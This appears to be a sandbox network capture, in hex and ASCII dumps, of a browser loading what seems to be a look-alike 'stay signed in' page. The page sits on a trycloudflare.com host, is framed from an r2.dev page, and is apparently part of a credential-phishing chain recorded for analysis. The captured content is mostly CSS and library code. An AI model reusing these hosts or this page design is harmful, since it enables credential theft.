mJ0f3Glp36rf5WCrJ5/hYpviYCRbnWDgnKljph+n5ScsYOStpenlKTJp6DPxYyjwJKRpq+zqa7b2Zar37+0vK2rlrzA2du+2emex+CmusTO3cfR9uW40/nczs3Iz7LV9ALT0OEC4tblCgff/evh5+7b0OfiFvbu0Qb27tUP7+/88+4AJSLy9Bke4gQI/AwNJBAECSju6hQ6ECcYPzoJGBs+AxQiAzkYJAsgGCsHUilBTx0gNC8PMTRaVjg7ViA5
2025-03-27 16:00:04 UTC	1369	IN	Data Raw: 65 63 63 34 74 37 5a 61 4b 43 69 34 75 78 61 6f 39 74 74 6f 43 55 68 71 61 4f 6c 34 71 36 6a 35 75 62 75 6f 79 66 75 4c 47 6e 6f 6f 64 39 6d 37 58 4f 74 36 79 65 72 36 53 76 6f 5a 61 30 6b 38 50 49 75 61 62 61 32 4a 62 56 32 63 72 63 77 4e 54 43 36 4a 36 39 77 36 6e 44 37 71 6a 76 38 62 7a 42 7a 2f 54 4a 73 73 76 47 78 4c 43 34 79 65 76 33 76 64 62 53 76 2f 66 38 37 38 4c 68 32 74 67 45 32 39 66 63 43 4e 2f 63 34 41 7a 6a 34 75 51 51 36 73 37 71 34 77 6a 31 35 68 4c 79 44 39 38 41 44 2f 49 43 4a 50 34 67 2b 65 63 6e 46 67 44 72 43 51 77 79 36 51 49 32 45 50 54 32 4f 68 54 35 42 67 6f 7a 42 77 76 32 2b 43 54 37 48 43 45 45 4b 55 63 35 46 76 30 68 53 77 63 6b 4c 41 6f 79 43 7a 49 6a 52 51 39 48 4a 69 6c 53 4d 42 31 63 4f 56 35 53 4d 53 78 54 57 7a 51 61 59 Data Ascii: ecc4t7ZaKCi4uxao9ttoCUhqaOl4q6j5ubuoyfuLGnood9m7XOt6yer6SvoZa0k8PIuaba2JbV2crcwNTC6J69w6nD7qjv8bzBz/TJssvGxLC4yev3vdbSv/f878Lh2tgE29fcCN/c4Azj4uQQ6s7q4wj15hLyD98AD/ICJP4g+ecnFgDrCQwy6QI2EPT2OhT5BgozBwv2+CT7HCEEKUc5Fv0hSwckLAoyCzIjRQ9HJilSMB1cOV5SMSxTWzQaY
2025-03-27 16:00:04 UTC	1213	IN	Data Raw: 49 68 72 4f 70 72 49 61 53 66 36 69 4c 6c 72 78 79 6a 4c 2b 58 72 4a 43 61 73 62 32 57 66 59 2b 34 6b 35 57 54 68 70 69 57 7a 62 79 6d 30 71 50 43 6f 38 54 4e 31 36 7a 4a 71 36 32 77 74 74 32 2f 74 65 4c 4e 74 72 4c 57 34 4a 36 36 77 37 7a 42 76 4e 2f 70 34 4d 4c 4b 77 36 62 4d 30 65 32 77 31 66 76 54 73 38 2f 5a 39 62 2f 4e 33 4c 71 2b 32 74 44 47 41 4e 54 53 41 2b 44 59 2f 65 4d 4b 34 64 33 39 37 2b 2f 66 38 39 44 7a 39 66 4d 62 37 42 41 65 46 4f 33 75 33 69 62 37 4b 50 63 55 38 52 77 69 43 66 73 4c 39 78 6f 45 49 69 59 30 45 53 63 69 4e 51 6f 47 44 51 55 48 51 50 6f 54 47 52 35 43 49 68 55 32 51 6a 77 61 46 69 51 35 49 46 41 63 54 69 67 73 4e 41 63 6a 49 42 51 70 4a 44 5a 4f 46 53 31 50 4d 54 49 76 5a 46 34 2b 4d 31 67 6e 4a 30 49 7a 5a 30 68 42 4e 32 Data Ascii: IhrOprIaSf6iLlrxyjL+XrJCasb2WfY+4k5WThpiWzbym0qPCo8TN16zJq62wtt2/teLNtrLW4J66w7zBvN/p4MLKw6bM0e2w1fvTs8/Z9b/N3Lq+2tDGANTSA+DY/eMK4d397+/f89Dz9fMb7BAeFO3u3ib7KPcU8RwiCfsL9xoEIiY0ESciNQoGDQUHQPoTGR5CIhU2QjwaFiQ5IFAcTigsNAcjIBQpJDZOFS1PMTIvZF4+M1gnJ0IzZ0hBN2

Timestamp	Bytes transferred	Direction	Data
2025-03-27 16:00:05 UTC	801	OUT	GET / HTTP/1.1 Host: button-students-container-titans.trycloudflare.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Referer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 16:00:06 UTC	219	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 16:00:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 927019438ce16180-EWR CF-Cache-Status: DYNAMIC Server: cloudflare
2025-03-27 16:00:06 UTC	1150	IN	Data Raw: 37 65 62 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 66 6f 72 6d 2d 61 63 74 69 6f 6e 20 27 6e 6f 6e 65 27 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 22 Data Ascii: 7ebc<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="Content-Security-Policy" content="form-action 'none'"> <meta name="color-scheme"
2025-03-27 16:00:06 UTC	1369	IN	Data Raw: 29 27 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 31 30 30 25 27 3a 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 27 74 72 61 6e 73 6c 61 74 65 58 28 34 35 30 70 78 29 27 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 61 64 65 49 6e 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 30 25 27 3a 20 7b 20 6f 70 61 63 69 74 79 3a 20 27 30 27 2c 20 74 72 61 6e 73 66 6f 72 6d 3a 20 27 74 72 61 6e 73 6c 61 74 65 59 28 31 30 70 78 29 27 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 31 30 30 25 27 Data Ascii: )' }, '100%': { transform: 'translateX(450px)' } }, fadeIn: { '0%': { opacity: '0', transform: 'translateY(10px)' }, '100%'
2025-03-27 16:00:06 UTC	1369	IN	Data Raw: 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 63 63 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: ing: border-box; margin: 0; padding: 0; } html { -webkit-text-size-adjust: 100%; } a { color: #ccc; text-decoration: none; } a:link {
2025-03-27 16:00:06 UTC	1369	IN	Data Raw: 61 20 2a 2f 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 20 2f 2a 20 43 65 6e 74 65 72 73 20 74 68 65 20 69 6d 61 67 65 20 2a 2f 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 20 2f 2a 20 50 72 65 76 65 6e 74 73 20 74 68 65 20 69 6d 61 67 65 20 66 72 6f 6d 20 72 65 70 65 61 74 69 6e 67 20 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 32 35 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 39 33 37 35 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 Data Ascii: a /background-position: center; / Centers the image /background-repeat: no-repeat; / Prevents the image from repeating */ padding: 1rem; line-height: 1.25rem; font-size: .9375rem; position: relat
2025-03-27 16:00:06 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 70 78 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 36 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 61 6c 6c 20 30 2e 32 73 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b Data Ascii: padding: 6px 0; font-size: 15px; border: none; border-bottom: 1px solid rgba(0, 0, 0, 0.6); outline: none; top: 10px; transition: all 0.2s; background: transparent;
2025-03-27 16:00:06 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 61 6c 6c 20 30 2e 33 73 20 65 61 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2f 2a 20 42 75 74 74 6f 6e 73 20 2a 2f 0a 20 20 20 20 20 20 20 20 2e 62 61 63 6b 2d 62 75 74 74 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 3b 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: transition: all 0.3s ease; pointer-events: none; z-index: 0; } /* Buttons */ .back-button { background: none; border: none; color: var(--text-color);
2025-03-27 16:00:06 UTC	1369	IN	Data Raw: 65 72 72 6f 72 2d 63 6f 6c 6f 72 29 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 70 78 3b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 20 20 20 20 20 20 20 20 2e 62 61 63 6b 2d 62 75 74 74 6f 6e 20 73 70 61 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 62 61 63 6b 2d 62 75 74 74 6f 6e 20 73 76 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 32 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: error-color); font-size: 14px; margin-top: 8px; display: none;} .back-button span { color: var(--text-color) !important; } .back-button svg { width: 24px; height: 24px;
2025-03-27 16:00:06 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 0a 20 20 20 20 20 20 20 20 2e 73 74 61 79 2d 73 69 67 6e 65 64 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 34 34 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 33 36 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 32 70 78 20 36 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 35 29 Data Ascii: align-items: center; justify-content: center; } .stay-signed-content { background: white; width: 440px; padding: 36px; box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05)
2025-03-27 16:00:06 UTC	1369	IN	Data Raw: 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 62 31 62 31 62 3b 0a 7d 0a 0a 2e 6c 6f 61 64 69 6e 67 2d 64 6f 74 73 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 67 61 70 3a 20 31 32 70 78 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 36 70 78 3b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 34 30 70 78 3b 0a 7d 0a 0a 2e 6c 6f 61 64 69 6e 67 2d 64 6f 74 73 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 64 6f 74 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 36 70 78 3b 0a 20 20 20 20 62 61 63 6b 67 72 Data Ascii: px; font-weight: normal; color: #1b1b1b;}.loading-dots-container { display: flex; gap: 12px; height: 6px; position: relative; margin-bottom: 40px;}.loading-dots-container .dot { width: 6px; height: 6px; backgr
2025-03-27 16:00:06 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6e 6f 2d 62 75 74 74 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 70 72 69 6d 61 72 79 2d 63 6f 6c 6f 72 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 34 70 78 20 32 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 62 61 63 6b 67 72 Data Ascii: } .no-button { background: transparent; border: none; color: var(--primary-color); cursor: pointer; font-size: 14px; padding: 4px 24px; transition: backgr

Timestamp	Bytes transferred	Direction	Data
2025-03-27 16:00:07 UTC	600	OUT	GET /3.4.16 HTTP/1.1 Host: cdn.tailwindcss.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://button-students-container-titans.trycloudflare.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 16:00:07 UTC	424	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 16:00:07 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close Cache-Control: max-age=31536000 strict-transport-security: max-age=63072000 x-vercel-cache: MISS x-vercel-id: cle1::iad1::6rj9h-1742830770833-7403663bdf54 Last-Modified: Mon, 24 Mar 2025 15:39:32 GMT CF-Cache-Status: HIT Age: 260434 Server: cloudflare CF-RAY: 9270194d189cc3fd-EWR
2025-03-27 16:00:07 UTC	945	IN	Data Raw: 37 64 66 35 0d 0a 28 28 29 3d 3e 7b 76 61 72 20 71 76 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3b 76 61 72 20 48 69 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 24 76 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3b 76 61 72 20 4c 76 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 3b 76 61 72 20 4d 76 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 4e 76 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 3b 76 61 72 20 64 66 3d 72 3d 3e 48 69 28 72 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 68 66 3d 72 3d 3e 7b 69 66 28 74 79 Data Ascii: 7df5(()=>{var qv=Object.create;var Hi=Object.defineProperty;var $v=Object.getOwnPropertyDescriptor;var Lv=Object.getOwnPropertyNames;var Mv=Object.getPrototypeOf,Nv=Object.prototype.hasOwnProperty;var df=r=>Hi(r,"__esModule",{value:!0});var hf=r=>{if(ty
2025-03-27 16:00:07 UTC	1369	IN	Data Raw: 72 65 61 64 46 69 6c 65 53 79 6e 63 3a 72 3d 3e 73 65 6c 66 5b 72 5d 7c 7c 22 22 2c 73 74 61 74 53 79 6e 63 3a 28 29 3d 3e 28 7b 6d 74 69 6d 65 4d 73 3a 46 76 2b 2b 7d 29 2c 70 72 6f 6d 69 73 65 73 3a 7b 72 65 61 64 46 69 6c 65 3a 72 3d 3e 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 65 6c 66 5b 72 5d 7c 7c 22 22 29 7d 7d 7d 29 3b 76 61 72 20 46 73 3d 78 28 28 6f 50 2c 67 66 29 3d 3e 7b 75 28 29 3b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6d 66 3d 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 3d 7b 7d 29 7b 69 66 28 21 28 65 2e 6d 61 78 53 69 7a 65 26 26 65 2e 6d 61 78 53 69 7a 65 3e 30 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 60 6d 61 78 53 69 7a 65 60 20 6d 75 73 74 20 62 65 20 61 20 6e 75 6d 62 65 Data Ascii: readFileSync:r=>self[r]\|\|"",statSync:()=>({mtimeMs:Fv++}),promises:{readFile:r=>Promise.resolve(self[r]\|\|"")}}});var Fs=x((oP,gf)=>{u();"use strict";var mf=class{constructor(e={}){if(!(e.maxSize&&e.maxSize>0))throw new TypeError("`maxSize` must be a numbe
2025-03-27 16:00:07 UTC	1369	IN	Data Raw: 6c 65 74 65 49 66 45 78 70 69 72 65 64 28 74 2c 69 29 3d 3d 3d 21 31 26 26 28 79 69 65 6c 64 20 65 29 7d 7d 67 65 74 28 65 29 7b 69 66 28 74 68 69 73 2e 63 61 63 68 65 2e 68 61 73 28 65 29 29 7b 6c 65 74 20 74 3d 74 68 69 73 2e 63 61 63 68 65 2e 67 65 74 28 65 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 56 61 6c 75 65 28 65 2c 74 29 7d 69 66 28 74 68 69 73 2e 6f 6c 64 43 61 63 68 65 2e 68 61 73 28 65 29 29 7b 6c 65 74 20 74 3d 74 68 69 73 2e 6f 6c 64 43 61 63 68 65 2e 67 65 74 28 65 29 3b 69 66 28 74 68 69 73 2e 5f 64 65 6c 65 74 65 49 66 45 78 70 69 72 65 64 28 65 2c 74 29 3d 3d 3d 21 31 29 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 6d 6f 76 65 54 6f 52 65 63 65 6e 74 28 65 2c 74 29 2c 74 2e 76 61 6c 75 65 7d 7d 73 65 74 28 65 2c 74 2c Data Ascii: leteIfExpired(t,i)===!1&&(yield e)}}get(e){if(this.cache.has(e)){let t=this.cache.get(e);return this._getItemValue(e,t)}if(this.oldCache.has(e)){let t=this.oldCache.get(e);if(this._deleteIfExpired(e,t)===!1)return this._moveToRecent(e,t),t.value}}set(e,t,
2025-03-27 16:00:07 UTC	1369	IN	Data Raw: 74 68 69 73 2e 63 61 63 68 65 2e 68 61 73 28 74 29 7c 7c 74 68 69 73 2e 5f 64 65 6c 65 74 65 49 66 45 78 70 69 72 65 64 28 74 2c 69 29 3d 3d 3d 21 31 26 26 28 79 69 65 6c 64 5b 74 2c 69 2e 76 61 6c 75 65 5d 29 7d 7d 2a 65 6e 74 72 69 65 73 44 65 73 63 65 6e 64 69 6e 67 28 29 7b 6c 65 74 20 65 3d 5b 2e 2e 2e 74 68 69 73 2e 63 61 63 68 65 5d 3b 66 6f 72 28 6c 65 74 20 74 3d 65 2e 6c 65 6e 67 74 68 2d 31 3b 74 3e 3d 30 3b 2d 2d 74 29 7b 6c 65 74 20 69 3d 65 5b 74 5d 2c 5b 6e 2c 73 5d 3d 69 3b 74 68 69 73 2e 5f 64 65 6c 65 74 65 49 66 45 78 70 69 72 65 64 28 6e 2c 73 29 3d 3d 3d 21 31 26 26 28 79 69 65 6c 64 5b 6e 2c 73 2e 76 61 6c 75 65 5d 29 7d 65 3d 5b 2e 2e 2e 74 68 69 73 2e 6f 6c 64 43 61 63 68 65 5d 3b 66 6f 72 28 6c 65 74 20 74 3d 65 2e 6c 65 6e 67 74 Data Ascii: this.cache.has(t)\|\|this._deleteIfExpired(t,i)===!1&&(yield[t,i.value])}}*entriesDescending(){let e=[...this.cache];for(let t=e.length-1;t>=0;--t){let i=e[t],[n,s]=i;this._deleteIfExpired(n,s)===!1&&(yield[n,s.value])}e=[...this.oldCache];for(let t=e.lengt
2025-03-27 16:00:07 UTC	1369	IN	Data Raw: 78 22 2c 22 66 6c 65 78 53 68 72 69 6e 6b 22 2c 22 66 6c 65 78 47 72 6f 77 22 2c 22 66 6c 65 78 42 61 73 69 73 22 2c 22 74 61 62 6c 65 4c 61 79 6f 75 74 22 2c 22 63 61 70 74 69 6f 6e 53 69 64 65 22 2c 22 62 6f 72 64 65 72 43 6f 6c 6c 61 70 73 65 22 2c 22 62 6f 72 64 65 72 53 70 61 63 69 6e 67 22 2c 22 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 22 2c 22 74 72 61 6e 73 6c 61 74 65 22 2c 22 72 6f 74 61 74 65 22 2c 22 73 6b 65 77 22 2c 22 73 63 61 6c 65 22 2c 22 74 72 61 6e 73 66 6f 72 6d 22 2c 22 61 6e 69 6d 61 74 69 6f 6e 22 2c 22 63 75 72 73 6f 72 22 2c 22 74 6f 75 63 68 41 63 74 69 6f 6e 22 2c 22 75 73 65 72 53 65 6c 65 63 74 22 2c 22 72 65 73 69 7a 65 22 2c 22 73 63 72 6f 6c 6c 53 6e 61 70 54 79 70 65 22 2c 22 73 63 72 6f 6c 6c 53 6e 61 70 41 6c 69 67 Data Ascii: x","flexShrink","flexGrow","flexBasis","tableLayout","captionSide","borderCollapse","borderSpacing","transformOrigin","translate","rotate","skew","scale","transform","animation","cursor","touchAction","userSelect","resize","scrollSnapType","scrollSnapAlig
2025-03-27 16:00:07 UTC	1369	IN	Data Raw: 22 2c 22 74 65 78 74 4f 70 61 63 69 74 79 22 2c 22 74 65 78 74 44 65 63 6f 72 61 74 69 6f 6e 22 2c 22 74 65 78 74 44 65 63 6f 72 61 74 69 6f 6e 43 6f 6c 6f 72 22 2c 22 74 65 78 74 44 65 63 6f 72 61 74 69 6f 6e 53 74 79 6c 65 22 2c 22 74 65 78 74 44 65 63 6f 72 61 74 69 6f 6e 54 68 69 63 6b 6e 65 73 73 22 2c 22 74 65 78 74 55 6e 64 65 72 6c 69 6e 65 4f 66 66 73 65 74 22 2c 22 66 6f 6e 74 53 6d 6f 6f 74 68 69 6e 67 22 2c 22 70 6c 61 63 65 68 6f 6c 64 65 72 43 6f 6c 6f 72 22 2c 22 70 6c 61 63 65 68 6f 6c 64 65 72 4f 70 61 63 69 74 79 22 2c 22 63 61 72 65 74 43 6f 6c 6f 72 22 2c 22 61 63 63 65 6e 74 43 6f 6c 6f 72 22 2c 22 6f 70 61 63 69 74 79 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 42 6c 65 6e 64 4d 6f 64 65 22 2c 22 6d 69 78 42 6c 65 6e 64 4d 6f 64 65 22 2c Data Ascii: ","textOpacity","textDecoration","textDecorationColor","textDecorationStyle","textDecorationThickness","textUnderlineOffset","fontSmoothing","placeholderColor","placeholderOpacity","caretColor","accentColor","opacity","backgroundBlendMode","mixBlendMode",
